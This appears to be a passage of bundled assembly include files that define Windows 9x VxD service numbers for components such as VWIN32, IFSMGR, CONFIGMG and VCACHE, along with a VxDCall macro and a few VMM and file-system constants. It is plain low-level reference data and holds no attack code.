VWIN32_NpxException equ 0002A0006h
VWIN32_EmulateNpx equ 0002A0007h
VWIN32_CheckDelayedNpxTrap equ 0002A0008h
VWIN32_EnterCrstR0 equ 0002A0009h
VWIN32_LeaveCrstR0 equ 0002A000Ah
VWIN32_FaultPopup equ 0002A000Bh
VWIN32_GetContextHandle equ 0002A000Ch
VWIN32_GetCurrentProcessHandle equ 0002A000Dh
VWIN32_SetWin32Event equ 0002A000Eh
VWIN32_PulseWin32Event equ 0002A000Fh
VWIN32_ResetWin32Event equ 0002A0010h
VWIN32_WaitSingleObject equ 0002A0011h
VWIN32_WaitMultipleObjects equ 0002A0012h
VWIN32_CreateRing0Thread equ 0002A0013h
VWIN32_CloseVxDHandle equ 0002A0014h
VWIN32_ActiveTimeBiasSet equ 0002A0015h
VWIN32_GetCurrentDirectory equ 0002A0016h
VWIN32_BlueScreenPopup equ 0002A0017h
VWIN32_TerminateApp equ 0002A0018h
VWIN32_QueueKernelAPC equ 0002A0019h
VWIN32_SysErrorBox equ 0002A001Ah
VWIN32_IsClientWin32 equ 0002A001Bh
VWIN32_IFSRIPWhenLev2Taken equ 0002A001Ch
VWIN32_InitWin32Event equ 0002A001Dh
VWIN32_InitWin32Mutex equ 0002A001Eh
VWIN32_ReleaseWin32Mutex equ 0002A001Fh
VWIN32_BlockThreadEx equ 0002A0020h
VWIN32_GetProcessHandle equ 0002A0021h
VWIN32_InitWin32Semaphore equ 0002A0022h
VWIN32_SignalWin32Sem equ 0002A0023h
VWIN32_QueueUserApcEx equ 0002A0024h
VWIN32_OpenVxDHandle equ 0002A0025h
VWIN32_CloseWin32Handle equ 0002A0026h
VWIN32_AllocExternalHandle equ 0002A0027h
VWIN32_UseExternalHandle equ 0002A0028h
VWIN32_UnuseExternalHandle equ 0002A0029h
VWIN32_KeInitializeTimer equ 0002A002Ah
VWIN32_KeSetTimer equ 0002A002Bh
VWIN32_KeCancelTimer equ 0002A002Ch
VWIN32_KeReadStateTimer equ 0002A002Dh
VWIN32_ReferenceObject equ 0002A002Eh
VWIN32_GetExternalHandle equ 0002A002Fh
VWIN32_ConvertNtTimeout equ 0002A0030h
VWIN32_SetWin32EventBoostPriority equ 0002A0031h
VWIN32_GetRing3Flat32Selectors equ 0002A0032h
VWIN32_GetCurThreadCondition equ 0002A0033h
; [002B.VCOMM]
VCOMM_Get_Version equ 0002B0000h
VCOMM_Register_Port_Driver equ 0002B0001h
VCOMM_Acquire_Port equ 0002B0002h
VCOMM_Release_Port equ 0002B0003h
VCOMM_OpenComm equ 0002B0004h
VCOMM_SetCommState equ 0002B0005h
VCOMM_GetCommState equ 0002B0006h
VCOMM_SetupComm equ 0002B0007h
VCOMM_TransmitCommChar equ 0002B0008h
VCOMM_CloseComm equ 0002B0009h
VCOMM_GetCommQueueStatus equ 0002B000Ah
VCOMM_ClearCommError equ 0002B000Bh
VCOMM_GetModemStatus equ 0002B000Ch
VCOMM_GetCommProperties equ 0002B000Dh
VCOMM_EscapeCommFunction equ 0002B000Eh
VCOMM_PurgeComm equ 0002B000Fh
VCOMM_SetCommEventMask equ 0002B0010h
VCOMM_GetCommEventMask equ 0002B0011h
VCOMM_WriteComm equ 0002B0012h
VCOMM_ReadComm equ 0002B0013h
VCOMM_EnableCommNotification equ 0002B0014h
VCOMM_GetLastError equ 0002B0015h
VCOMM_Steal_Port equ 0002B0016h
VCOMM_SetReadCallBack equ 0002B0017h
VCOMM_SetWriteCallBack equ 0002B0018h
VCOMM_Add_Port equ 0002B0019h
VCOMM_GetSetCommTimeouts equ 0002B001Ah
VCOMM_SetWriteRequest equ 0002B001Bh
VCOMM_SetReadRequest equ 0002B001Ch
VCOMM_Dequeue_Request equ 0002B001Dh
VCOMM_Enumerate_DevNodes equ 0002B001Eh
VCOMM_Map_Win32DCB_To_Ring0 equ 0002B001Fh
VCOMM_Map_Ring0DCB_To_Win32 equ 0002B0020h
VCOMM_Get_Contention_Handler equ 0002B0021h
VCOMM_Map_Name_To_Resource equ 0002B0022h
; [002C.SPOOLER]
; [0031.NETBEUI]
; [0032.VSERVER]
; [0033.CONFIGMG]
CONFIGMG_Get_Version equ 000330000h
CONFIGMG_Initialize equ 000330001h
CONFIGMG_Locate_DevNode equ 000330002h
CONFIGMG_Get_Parent equ 000330003h
CONFIGMG_Get_Child equ 000330004h
CONFIGMG_Get_Sibling equ 000330005h
CONFIGMG_Get_Device_ID_Size equ 000330006h
CONFIGMG_Get_Device_ID equ 000330007h
CONFIGMG_Get_Depth equ 000330008h
CONFIGMG_Get_Private_DWord equ 000330009h
CONFIGMG_Set_Private_DWord equ 00033000Ah
CONFIGMG_Create_DevNode equ 00033000Bh
CONFIGMG_Query_Remove_SubTree equ 00033000Ch
CONFIGMG_Remove_SubTree equ 00033000Dh
CONFIGMG_Register_Device_Driver equ 00033000Eh
CONFIGMG_Register_Enumerator equ 00033000Fh
CONFIGMG_Register_Arbitrator equ 000330010h
CONFIGMG_Deregister_Arbitrator equ 000330011h
CONFIGMG_Query_Arbitrator_Free_Size equ 000330012h
CONFIGMG_Query_Arbitrator_Free_Data equ 000330013h
CONFIGMG_Sort_NodeList equ 000330014h
CONFIGMG_Yield equ 000330015h
CONFIGMG_Lock equ 000330016h
CONFIGMG_Unlock equ 000330017h
CONFIGMG_Add_Empty_Log_Conf equ 000330018h
CONFIGMG_Free_Log_Conf equ 000330019h
CONFIGMG_Get_First_Log_Conf equ 00033001Ah
CONFIGMG_Get_Next_Log_Conf equ 00033001Bh
CONFIGMG_Add_Res_Des equ 00033001Ch
CONFIGMG_Modify_Res_Des equ 00033001Dh
CONFIGMG_Free_Res_Des equ 00033001Eh
CONFIGMG_Get_Next_Res_Des equ 00033001Fh
CONFIGMG_Get_Performance_Info equ 000330020h
CONFIGMG_Get_Res_Des_Data_Size equ 000330021h
CONFIGMG_Get_Res_Des_Data equ 000330022h
CONFIGMG_Process_Events_Now equ 000330023h
CONFIGMG_Create_Range_List equ 000330024h
CONFIGMG_Add_Range equ 000330025h
CONFIGMG_Delete_Range equ 000330026h
CONFIGMG_Test_Range_Available equ 000330027h
CONFIGMG_Dup_Range_List equ 000330028h
CONFIGMG_Free_Range_List equ 000330029h
CONFIGMG_Invert_Range_List equ 00033002Ah
CONFIGMG_Intersect_Range_List equ 00033002Bh
CONFIGMG_First_Range equ 00033002Ch
CONFIGMG_Next_Range equ 00033002Dh
CONFIGMG_Dump_Range_List equ 00033002Eh
CONFIGMG_Load_DLVxDs equ 00033002Fh
CONFIGMG_Get_DDBs equ 000330030h
CONFIGMG_Get_CRC_CheckSum equ 000330031h
CONFIGMG_Register_DevLoader equ 000330032h
CONFIGMG_Reenumerate_DevNode equ 000330033h
CONFIGMG_Setup_DevNode equ 000330034h
CONFIGMG_Reset_Children_Marks equ 000330035h
CONFIGMG_Get_DevNode_Status equ 000330036h
CONFIGMG_Remove_Unmarked_Children equ 000330037h
CONFIGMG_ISAPNP_To_CM equ 000330038h
CONFIGMG_CallBack_Device_Driver equ 000330039h
CONFIGMG_CallBack_Enumerator equ 00033003Ah
CONFIGMG_Get_Alloc_Config equ 00033003Bh
CONFIGMG_Get_DevNode_Key_Size equ 00033003Ch
CONFIGMG_Get_DevNode_Key equ 00033003Dh
CONFIGMG_Read_Registry_Value equ 00033003Eh
CONFIGMG_Write_Registry_Value equ 00033003Fh
CONFIGMG_Disable_DevNode equ 000330040h
CONFIGMG_Enable_DevNode equ 000330041h
CONFIGMG_Move_DevNode equ 000330042h
CONFIGMG_Set_Bus_Info equ 000330043h
CONFIGMG_Get_Bus_Info equ 000330044h
CONFIGMG_Set_HW_Prof equ 000330045h
CONFIGMG_Recompute_HW_Prof equ 000330046h
CONFIGMG_Query_Change_HW_Prof equ 000330047h
CONFIGMG_Get_Device_Driver_Private_DWord equ 000330048h
CONFIGMG_Set_Device_Driver_Private_DWord equ 000330049h
CONFIGMG_Get_HW_Prof_Flags equ 00033004Ah
CONFIGMG_Set_HW_Prof_Flags equ 00033004Bh
CONFIGMG_Read_Registry_Log_Confs equ 00033004Ch
CONFIGMG_Run_Detection equ 00033004Dh
CONFIGMG_Call_At_Appy_Time equ 00033004Eh
CONFIGMG_Fail_Change_HW_Prof equ 00033004Fh
CONFIGMG_Set_Private_Problem equ 000330050h
CONFIGMG_Debug_DevNode equ 000330051h
CONFIGMG_Get_Hardware_Profile_Info equ 000330052h
CONFIGMG_Register_Enumerator_Function equ 000330053h
CONFIGMG_Call_Enumerator_Function equ 000330054h
CONFIGMG_Add_ID equ 000330055h
CONFIGMG_Find_Range equ 000330056h
CONFIGMG_Get_Global_State equ 000330057h
CONFIGMG_Broadcast_Device_Change_Message equ 000330058h
CONFIGMG_Call_DevNode_Handler equ 000330059h
CONFIGMG_Remove_Reinsert_All equ 00033005Ah
CONFIGMG_Change_DevNode_Status equ 00033005Bh
CONFIGMG_Reprocess_DevNode equ 00033005Ch
CONFIGMG_Assert_Structure equ 00033005Dh
CONFIGMG_Discard_Boot_Log_Conf equ 00033005Eh
CONFIGMG_Set_Dependent_DevNode equ 00033005Fh
CONFIGMG_Get_Dependent_DevNode equ 000330060h
CONFIGMG_Refilter_DevNode equ 000330061h
CONFIGMG_Merge_Range_List equ 000330062h
CONFIGMG_Substract_Range_List equ 000330063h
CONFIGMG_Set_DevNode_PowerState equ 000330064h
CONFIGMG_Get_DevNode_PowerState equ 000330065h
CONFIGMG_Set_DevNode_PowerCapabilities equ 000330066h
CONFIGMG_Get_DevNode_PowerCapabilities equ 000330067h
CONFIGMG_Read_Range_List equ 000330068h
CONFIGMG_Write_Range_List equ 000330069h
CONFIGMG_Get_Log_Conf_Priority equ 00033006Ah
CONFIGMG_Support_Share_Irq equ 00033006Bh
CONFIGMG_Get_Parent_Structure equ 00033006Ch
CONFIGMG_Register_DevNode_For_Idle_Detection equ 00033006Dh
CONFIGMG_CM_To_ISAPNP equ 00033006Eh
CONFIGMG_Get_DevNode_Handler equ 00033006Fh
CONFIGMG_Detect_Resource_Conflict equ 000330070h
CONFIGMG_Get_Device_Interface_List equ 000330071h
CONFIGMG_Get_Device_Interface_List_Size equ 000330072h
CONFIGMG_Get_Conflict_Info equ 000330073h
CONFIGMG_Add_Remove_DevNode_Property equ 000330074h
CONFIGMG_CallBack_At_Appy_Time equ 000330075h
CONFIGMG_Register_Device_Interface equ 000330076h
CONFIGMG_System_Device_Power_State_Mapping equ 000330077h
CONFIGMG_Get_Arbitrator_Info equ 000330078h
CONFIGMG_Waking_Up_From_DevNode equ 000330079h
CONFIGMG_Set_DevNode_Problem equ 00033007Ah
CONFIGMG_Get_Device_Interface_Alias equ 00033007Bh
; [0034.CM]
CM_GetVersion equ 000340000h
CM_GetConfig equ 000340001h
CM_LockConfig equ 000340002h
CM_UnlockConfig equ 000340003h
CM_CME_QueryResources equ 000340004h
CM_CME_AllocResources equ 000340005h
CM_CME_DeallocResources equ 000340006h
; [0036.VFBACKUP]
VFBACKUP_Get_Version equ 000360000h
VFBACKUP_Lock_NEC equ 000360001h
VFBACKUP_UnLock_NEC equ 000360002h
VFBACKUP_Register_NEC equ 000360003h
VFBACKUP_Register_VFD equ 000360004h
VFBACKUP_Lock_All_Ports equ 000360005h
; [0037.VMINI]
VMINI_GetVersion equ 000370000h
VMINI_Update equ 000370001h
VMINI_Status equ 000370002h
VMINI_DisplayError equ 000370003h
VMINI_SetTimeStamp equ 000370004h
VMINI_Siren equ 000370005h
VMINI_RegisterAccess equ 000370006h
VMINI_GetData equ 000370007h
VMINI_ShutDownItem equ 000370008h
VMINI_RegisterSK equ 000370009h
; [0038.VCOND]
VCOND_Get_Version equ 000380000h
VCOND_Launch_ConApp_Inherited equ 000380001h
; [003D.BIOS]
; [003E.WSOCK]
WSOCK_Get_Version equ 0003E0000h
WSOCK_Register equ 0003E0001h
WSOCK_Deregister equ 0003E0002h
WSOCK_SignalNotify equ 0003E0003h
WSOCK_SignalAllNotify equ 0003E0004h
; [0040.IFSMGR]
IFSMGR_Get_Version equ 000400000h
IFSMGR_RegisterMount equ 000400001h
IFSMGR_RegisterNet equ 000400002h
IFSMGR_RegisterMailSlot equ 000400003h
IFSMGR_Attach equ 000400004h
IFSMGR_Detach equ 000400005h
IFSMGR_Get_NetTime equ 000400006h
IFSMGR_Get_DOSTime equ 000400007h
IFSMGR_SetupConnection equ 000400008h
IFSMGR_DerefConnection equ 000400009h
IFSMGR_ServerDOSCall equ 00040000Ah
IFSMGR_CompleteAsync equ 00040000Bh
IFSMGR_RegisterHeap equ 00040000Ch
IFSMGR_GetHeap equ 00040000Dh
IFSMGR_RetHeap equ 00040000Eh
IFSMGR_CheckHeap equ 00040000Fh
IFSMGR_CheckHeapItem equ 000400010h
IFSMGR_FillHeapSpare equ 000400011h
IFSMGR_Block equ 000400012h
IFSMGR_Wakeup equ 000400013h
IFSMGR_Yield equ 000400014h
IFSMGR_SchedEvent equ 000400015h
IFSMGR_QueueEvent equ 000400016h
IFSMGR_KillEvent equ 000400017h
IFSMGR_FreeIOReq equ 000400018h
IFSMGR_MakeMailSlot equ 000400019h
IFSMGR_DeleteMailSlot equ 00040001Ah
IFSMGR_WriteMailSlot equ 00040001Bh
IFSMGR_PopUp equ 00040001Ch
IFSMGR_printf equ 00040001Dh
IFSMGR_AssertFailed equ 00040001Eh
IFSMGR_LogEntry equ 00040001Fh
IFSMGR_DebugMenu equ 000400020h
IFSMGR_DebugVars equ 000400021h
IFSMGR_GetDebugString equ 000400022h
IFSMGR_GetDebugHexNum equ 000400023h
IFSMGR_NetFunction equ 000400024h
IFSMGR_DoDelAllUses equ 000400025h
IFSMGR_SetErrString equ 000400026h
IFSMGR_GetErrString equ 000400027h
IFSMGR_SetReqHook equ 000400028h
IFSMGR_SetPathHook equ 000400029h
IFSMGR_UseAdd equ 00040002Ah
IFSMGR_UseDel equ 00040002Bh
IFSMGR_InitUseAdd equ 00040002Ch
IFSMGR_ChangeDir equ 00040002Dh
IFSMGR_DelAllUses equ 00040002Eh
IFSMGR_CDROM_Attach equ 00040002Fh
IFSMGR_CDROM_Detach equ 000400030h
IFSMGR_Win32DupHandle equ 000400031h
IFSMGR_Ring0_FileIO equ 000400032h
IFSMGR_Toggle_Extended_File_Handles equ 000400033h
IFSMGR_Get_Drive_Info equ 000400034h
IFSMGR_Ring0GetDriveInfo equ 000400035h
IFSMGR_BlockNoEvents equ 000400036h
IFSMGR_NetToDosTime equ 000400037h
IFSMGR_DosToNetTime equ 000400038h
IFSMGR_DosToWin32Time equ 000400039h
IFSMGR_Win32ToDosTime equ 00040003Ah
IFSMGR_NetToWin32Time equ 00040003Bh
IFSMGR_Win32ToNetTime equ 00040003Ch
IFSMGR_MetaMatch equ 00040003Dh
IFSMGR_TransMatch equ 00040003Eh
IFSMGR_CallProvider equ 00040003Fh
IFSMGR_UniToBCS equ 000400040h
IFSMGR_UniToBCSPath equ 000400041h
IFSMGR_BCSToUni equ 000400042h
IFSMGR_UniToUpper equ 000400043h
IFSMGR_UniCharToOEM equ 000400044h
IFSMGR_CreateBasis equ 000400045h
IFSMGR_MatchBasisName equ 000400046h
IFSMGR_AppendBasisTail equ 000400047h
IFSMGR_FcbToShort equ 000400048h
IFSMGR_ShortToFcb equ 000400049h
IFSMGR_ParsePath equ 00040004Ah
IFSMGR_Query_PhysLock equ 00040004Bh
IFSMGR_VolFlush equ 00040004Ch
IFSMGR_NotifyVolumeArrival equ 00040004Dh
IFSMGR_NotifyVolumeRemoval equ 00040004Eh
IFSMGR_QueryVolumeRemoval equ 00040004Fh
IFSMGR_FSDUnmountCFSD equ 000400050h
IFSMGR_GetConversionTablePtrs equ 000400051h
IFSMGR_CheckAccessConflict equ 000400052h
IFSMGR_LockFile equ 000400053h
IFSMGR_UnlockFile equ 000400054h
IFSMGR_RemoveLocks equ 000400055h
IFSMGR_CheckLocks equ 000400056h
IFSMGR_CountLocks equ 000400057h
IFSMGR_ReassignLockFileInst equ 000400058h
IFSMGR_UnassignLockList equ 000400059h
IFSMGR_MountChildVolume equ 00040005Ah
IFSMGR_UnmountChildVolume equ 00040005Bh
IFSMGR_SwapDrives equ 00040005Ch
IFSMGR_FSDMapFHtoIOREQ equ 00040005Dh
IFSMGR_FSDParsePath equ 00040005Eh
IFSMGR_FSDAttachSFT equ 00040005Fh
IFSMGR_GetTimeZoneBias equ 000400060h
IFSMGR_PNPEvent equ 000400061h
IFSMGR_RegisterCFSD equ 000400062h
IFSMGR_Win32MapExtendedHandleToSFT equ 000400063h
IFSMGR_DbgSetFileHandleLimit equ 000400064h
IFSMGR_Win32MapSFTToExtendedHandle equ 000400065h
IFSMGR_FSDGetCurrentDrive equ 000400066h
IFSMGR_InstallFileSystemApiHook equ 000400067h
IFSMGR_RemoveFileSystemApiHook equ 000400068h
IFSMGR_RunScheduledEvents equ 000400069h
IFSMGR_CheckDelResource equ 00040006Ah
IFSMGR_Win32GetVMCurdir equ 00040006Bh
IFSMGR_SetupFailedConnection equ 00040006Ch
IFSMGR_GetMappedErr equ 00040006Dh
IFSMGR_ShortToLossyFcb equ 00040006Eh
IFSMGR_GetLockState equ 00040006Fh
IFSMGR_BcsToBcs equ 000400070h
IFSMGR_SetLoopback equ 000400071h
IFSMGR_ClearLoopback equ 000400072h
IFSMGR_ParseOneElement equ 000400073h
IFSMGR_BcsToBcsUpper equ 000400074h
; [0041.VCDFSD]
; [0043.PCI]
PCI_Get_Version equ 000430000h
PCI_Read_Config equ 000430001h
PCI_Write_Config equ 000430002h
; [0048.PERF]
PERF_Get_Version equ 000480000h
PERF_Server_Register equ 000480001h
PERF_Server_Deregister equ 000480002h
PERF_Server_Add_Stat equ 000480003h
PERF_Server_Remove_Stat equ 000480004h
; [004A.MTRR]
MTRR_Get_Version equ 0004A0000h
MTRR_SetPhysicalCacheTypeRange equ 0004A0001h
MTRR_IsPatSupported equ 0004A0002h
; [004B.NTKERN]
NTKERN_Get_Version equ 0004B0000h
NTKERN_CreateFile equ 0004B0001h
NTKERN_Close equ 0004B0002h
NTKERN_ReadFile equ 0004B0003h
NTKERN_WriteFile equ 0004B0004h
NTKERN_DeviceIoControl equ 0004B0005h
NTKERN_GetWorkerThread equ 0004B0006h
NTKERN_LoadDriver equ 0004B0007h
NTKERN_QueueWorkItem equ 0004B0008h
NTKERN_PhysicalDeviceObjectToDevNode equ 0004B0009h
NTKERN_SetPhysicalCacheTypeRange equ 0004B000Ah
NTKERN_Win9XLoadDriver equ 0004B000Bh
NTKERN_CancelIoFile equ 0004B000Ch
NTKERN_GetVPICDHandleFromInterruptObj equ 0004B000Dh
; [004C.ACPI]
ACPI_Get_Version equ 0004C0000h
ACPI_SetSystemPowerState equ 0004C0001h
ACPI_SetTimingMode equ 0004C0002h
ACPI_RegisterOpRegionCookedHandler equ 0004C0003h
ACPI_Set_RTC equ 0004C0004h
ACPI_GetTimingMode equ 0004C0005h
ACPI_GetTaskFile equ 0004C0006h
ACPI_WalkNameSpace equ 0004C0007h
ACPI_GetObject equ 0004C0008h
ACPI_NameSpaceToDevNode equ 0004C0009h
ACPI_DevNodeToNameSpace equ 0004C000Ah
ACPI_RunControlMethod equ 0004C000Bh
ACPI_000C equ 0004C000Ch
ACPI_000D equ 0004C000Dh
ACPI_000E equ 0004C000Eh
ACPI_EvalPackageElement equ 0004C000Fh
ACPI_EvalPkgDataElement equ 0004C0010h
ACPI_FreeDataBuffs equ 0004C0011h
ACPI_0012 equ 0004C0012h
ACPI_0013 equ 0004C0013h
ACPI_GetNameSpaceObject equ 0004C0014h
; [004E.SMCLIB]
SMCLIB_Get_Version equ 0004E0000h
SMCLIB_SmartcardCreateLink equ 0004E0001h
SMCLIB_SmartcardDeleteLink equ 0004E0002h
SMCLIB_SmartcardDeviceControl equ 0004E0003h
SMCLIB_SmartcardExit equ 0004E0004h
SMCLIB_SmartcardInitialize equ 0004E0005h
SMCLIB_SmartcardLogError equ 0004E0006h
SMCLIB_SmartcardRawReply equ 0004E0007h
SMCLIB_SmartcardRawRequest equ 0004E0008h
SMCLIB_SmartcardT0Reply equ 0004E0009h
SMCLIB_SmartcardT0Request equ 0004E000Ah
SMCLIB_SmartcardT1Reply equ 0004E000Bh
SMCLIB_SmartcardT1Request equ 0004E000Ch
SMCLIB_SmartcardUpdateCardCapabilities equ 0004E000Dh
SMCLIB_SmartcardGetDebugLevel equ 0004E000Eh
SMCLIB_SmartcardSetDebugLevel equ 0004E000Fh
SMCLIB_MapNtStatusToWinError equ 0004E0010h
SMCLIB_Assert equ 0004E0011h
SMCLIB_VxD_CreateDevice equ 0004E0012h
SMCLIB_VxD_DeleteDevice equ 0004E0013h
SMCLIB_SmartcardCompleteCardTracking equ 0004E0014h
SMCLIB_SmartcardCompleteRequest equ 0004E0015h
; [011F.VFLATD]
VFLATD_Get_Version equ 0011F0000h
VFLATD_Unmap_Flat_Selector equ 0011F0001h
; [0449.VJOYD]
VJOYD_Register_Device_Driver equ 004490000h
VJOYD_GetPosEx_Service equ 004490001h
VJOYD_GetInitParams_Service equ 004490002h
VJOYD_Poll_Service equ 004490003h
VJOYD_Escape_Service equ 004490004h
VJOYD_CtrlMsg_Service equ 004490005h
VJOYD_SetGain_Service equ 004490006h
VJOYD_SendFFCommand_Service equ 004490007h
VJOYD_GetFFState_Service equ 004490008h
VJOYD_DownloadEffect_Service equ 004490009h
VJOYD_DestroyEffect_Service equ 00449000Ah
VJOYD_StartEffect_Service equ 00449000Bh
VJOYD_StopEffect_Service equ 00449000Ch
VJOYD_GetEffectStatus_Service equ 00449000Dh
VJOYD_DeviceUpdateNotify_Service equ 00449000Eh
VJOYD_JoystickActivity_Service equ 00449000Fh
VJOYD_OpenTypeKey_Service equ 004490010h
VJOYD_OpenConfigKey_Service equ 004490011h
VJOYD_NewGameportDevNode equ 004490012h
; [044A.MMDEVLDR]
MMDEVLDR_Register_Device_Driver equ 0044A0000h
MMDEVLDR_SetDevicePresence equ 0044A0001h
MMDEVLDR_SetEnvironmentString equ 0044A0002h
MMDEVLDR_GetEnvironmentString equ 0044A0003h
MMDEVLDR_RemoveEnvironmentString equ 0044A0004h
MMDEVLDR_AddEnvironmentString equ 0044A0005h
; [0480.VNETSUP]
VNETSUP_Get_Version equ 004800000h
VNETSUP_GetVars equ 004800001h
VNETSUP_RegisterTerm equ 004800002h
VNETSUP_SetInfo equ 004800003h
VNETSUP_ServerHook equ 004800004h
VNETSUP_PassEncrypt equ 004800005h
VNETSUP_PassEncryptNT equ 004800006h
VNETSUP_PassEncrypt2 equ 004800007h
; [0481.VREDIR]
VREDIR_Get_Version equ 004810000h
VREDIR_BcnSetWfWVersion equ 004810001h
VREDIR_BcnSetWfWBits equ 004810002h
VREDIR_BcnIncWfWCount equ 004810003h
VREDIR_BcnTriggerPulse equ 004810004h
VREDIR_BcnWfWBrowser equ 004810005h
VREDIR_BcnSetMaster equ 004810006h
VREDIR_SendMessage equ 004810007h
VREDIR_SetRemoteDebug equ 004810008h
VREDIR_ValidateUser equ 004810009h
VREDIR_ConnectServer equ 00481000Ah
VREDIR_DisconnectServer equ 00481000Bh
VREDIR_RemoteMailSlotWrite equ 00481000Ch
VREDIR_NetInfo equ 00481000Dh
VREDIR_BcnSetHook equ 00481000Eh
VREDIR_UserGetGroups equ 00481000Fh
VREDIR_SetIPXError equ 004810010h
VREDIR_NetGetDfsReferrals equ 004810011h
VREDIR_AddPathElement equ 004810012h
VREDIR_MakeResourceDfs equ 004810013h
; [0483.VSHARE]
VSHARE_Get_Version equ 004830000h
; [0486.VFAT]
; [0487.NWLINK]
; [0488.VTDI]
VTDI_Get_Version equ 004880000h
VTDI_Start_Timer equ 004880001h
VTDI_Stop_Timer equ 004880002h
VTDI_Schedule_Event equ 004880003h
VTDI_Cancel_Event equ 004880004h
VTDI_Block equ 004880005h
VTDI_Signal equ 004880006h
VTDI_Register equ 004880007h
VTDI_Get_Info equ 004880008h
VTDI_Unload equ 004880009h
VTDI_Initialize equ 00488000Ah
VTDI_Register_UnloadProc equ 00488000Bh
VTDI_Register_LoadProc equ 00488000Ch
; [0489.VIP]
VIP_VIP_Get_Version equ 004890000h
VIP_VIP_Get_Net_Info equ 004890001h
VIP_VIP_Register_Protocol equ 004890002h
VIP_VIP_Register_Driver equ 004890003h
VIP_VIP_Set_Addr equ 004890004h
VIP_VIP_ICMP_Echo equ 004890005h
VIP_VIP_Register_Addr_Change equ 004890006h
VIP_VIP_Set_DCHP_Interface equ 004890007h
; [048A.MSTCP]
MSTCP_Get_Version equ 0048A0000h
; [048B.VCACHE]
VCACHE_Get_Version equ 0048B0000h
VCACHE_Register equ 0048B0001h
VCACHE_GetSize equ 0048B0002h
VCACHE_CheckAvail equ 0048B0003h
VCACHE_FindBlock equ 0048B0004h
VCACHE_FreeBlock equ 0048B0005h
VCACHE_MakeMRU equ 0048B0006h
VCACHE_Hold equ 0048B0007h
VCACHE_Unhold equ 0048B0008h
VCACHE_Enum equ 0048B0009h
VCACHE_TestHandle equ 0048B000Ah
VCACHE_VerifySums equ 0048B000Bh
VCACHE_RecalcSums equ 0048B000Ch
VCACHE_TestHold equ 0048B000Dh
VCACHE_GetStats equ 0048B000Eh
VCACHE_Deregister equ 0048B000Fh
VCACHE_AdjustMinimum equ 0048B0010h
VCACHE_SwapBuffers equ 0048B0011h
VCACHE_RelinquishPage equ 0048B0012h
VCACHE_UseThisPage equ 0048B0013h
VCACHE_CreateLookupCache equ 0048B0014h
VCACHE_CloseLookupCache equ 0048B0015h
VCACHE_DeleteLookupCache equ 0048B0016h
VCACHE_Lookup equ 0048B0017h
VCACHE_UpdateLookup equ 0048B0018h
; [048E.NWREDIR]
; [0491.FILESEC]
; [0492.NWSERVER]
; [0496.NDIS2SUP]
; [0497.MSODISUP]
; [0498.SPLITTER]
; [0499.PPPMAC]
; [049A.VDHCP]
; [049D.LOGGER]
; [097C.PCCARD]
PCCARD_Get_Version equ 0097C0000h
PCCARD_Card_Services equ 0097C0001h
PCCARD_Access_CIS_Memory equ 0097C0002h
; --- End of Hiew.VMM --------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ
VxDCall macro Service
db 0CDh
db 020h
dd Service
endm
VMMCall macro Service
VxDCall VMM_&Service&
endm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vxd_call.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ
PG_SYS equ 1
PAGEZEROINIT equ 00000001H
PAGEFIXED equ 00000008H
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\vmm.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ
R0_NO_CACHE equ 0100h
R0_READFILE_IN_CONTEXT equ 0D602h
R0_CLOSEFILE equ 0D700h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\ifs.inc]ÄÄ